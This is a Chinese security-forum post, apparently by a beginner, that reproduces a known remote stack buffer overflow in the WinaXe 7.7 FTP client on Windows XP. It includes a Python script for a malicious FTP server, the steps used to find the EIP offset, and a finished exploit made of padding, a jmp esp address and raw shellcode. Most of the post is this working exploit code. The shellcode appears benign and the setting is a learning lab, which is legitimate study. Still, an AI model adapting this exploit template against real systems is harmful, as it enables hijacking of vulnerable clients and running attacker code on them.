首页
社区
课程
招聘
[原创]WinaXe 7.7 'FTP client' 远程溢出漏洞
发表于: 2016-11-14 22:13 3910

[原创]WinaXe 7.7 'FTP client' 远程溢出漏洞

2016-11-14 22:13
3910

漏洞:https://www.exploit-db.com/exploits/40693/
WinaXe 7.7 'FTP client' - Remote Buffer Overflow
实验环境:WinXPSP3 + WinaXe 7.7 + immunity debugger
安装WinaXe,运行ftp.exe。界面

为ftp.exe构造一个ftp的服务器,如下所示
```
import socket
payload="A"*3000
port = 21
s = socket.socket()
host = '127.0.0.1' 
s.bind((host, port))
s.listen(5)
while True:
        conn, addr = s.accept()     
        conn.send('1'+payload+'\r\n')
        conn.close()
```
ftp在链接成功后,会返回链接的状态码,如下,貌似第一个字符要是个数字,才能正常接收后面的字符。
FTP应答码&响应码
110: 重新启动标记应答。 
120: 在n分钟内准备好 
125: 连接打开准备传送 
150: 打开数据连接
200: 命令成功
202: 命令失败
211: 系统状态
..........
用ftp.exe链接我们的脚本,附加到Immunity Debugger,程序出错,提示0x61616161不能执行,此时eip已经被我们覆盖。
用唯一模型字符串去定位覆盖eip的地址,最后确定为2067个,把payload设为
```
payload="A"*2067 + "bbbb"
```
运行,发现此时eip为'62626262,查一下栈上的高地址,最后成功定位到发生溢出的函数,用ida看一下。

发现程序是调用strcpy函数后,覆盖了程序的返回地址,是一个典型的栈溢出漏洞,并且没有开启windows的保护机制。
把payload设为
```
payload="A"*2067 + "bbbb" + ’B‘*300
```
动态调试,发现异常时,esp指向了后边的BBBBB,所以最后的payload="A"*2067 + jmpesp + shellcode

最后
```
jmpesp=struct.pack('<L',0x771a36f8) 
shell = "\x33\xDB\x53\x68\x6F\x78\x78\x78\x68\x68\x65\x6C\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0"
payload="A"*2067 + jmpesp + shell
port = 21
s = socket.socket()
host = '127.0.0.1' 
s.bind((host, port))
s.listen(5) 
while True:
        conn, addr = s.accept()     
        conn.send('1'+payload+'\r\n')
        conn.close()

```


不知道看雪鼓励不鼓励菜鸟发文章,希望能得到大牛的指点。。。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//